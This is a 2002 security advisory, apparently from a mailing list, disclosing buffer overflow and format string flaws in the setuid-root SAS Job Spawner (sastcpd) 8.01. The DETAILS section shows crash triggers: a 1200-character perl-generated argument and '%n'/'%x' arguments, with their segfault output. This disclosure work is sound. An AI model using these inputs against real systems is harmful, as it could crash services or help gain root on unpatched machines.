sastcpd Buffer Overflow and Format String Vulnerabilities

["Wodahs Latigid" <wodahs () mail com>]

----------------------------------------------------------
sastcpd Buffer Overflow and Format String Vulnerabilities 
Ministry-of-Peace - www.ministryofpeace.co.uk             
----------------------------------------------------------

SYNOPSIS

"SAS software provides the foundation, tools, and
solutions for data analysis, report generation,
and enterprise-wide information delivery."

The "SAS Job Spawner", sastcpd, contains both a buffer
overflow and a format string vulnerability.

SAS Support say that these problems were fixed in version
8.2 of this product, but we are unable to confirm as we
do not have access to this version.


IMPACT

sastcpd is installed setuid root by default, and therefore
full root privileges can be obtained through exploitation
of either of these vulnerabilities.


DETAILS

Version tested:
SAS Job Spawner for Open Systems version 8.01

$ sastcpd `perl -e "print 'A' x 1200"`
Invalid argument: AAAA[..cut..]AAAA.
Segmentation fault (core dumped)
$ ls -la core
-rw-------  1 root    teknix     1454382 Jan  28 04:22 core
$ sastcpd %n
Segmentation fault (core dumped)
$ sastcpd %x
Invalid argument: 2.


CREDITS

Vulnerability discovered by Digital Shadow


INFO

Security Advisory #05
Published: 29th January 2002



-- 

_______________________________________________
Sign-up for your own FREE Personalized E-mail at Mail.com
http://www.mail.com/?sr=signup

Win a ski trip!
http://www.nowcode.com/register.asp?affiliate=1net2phone3a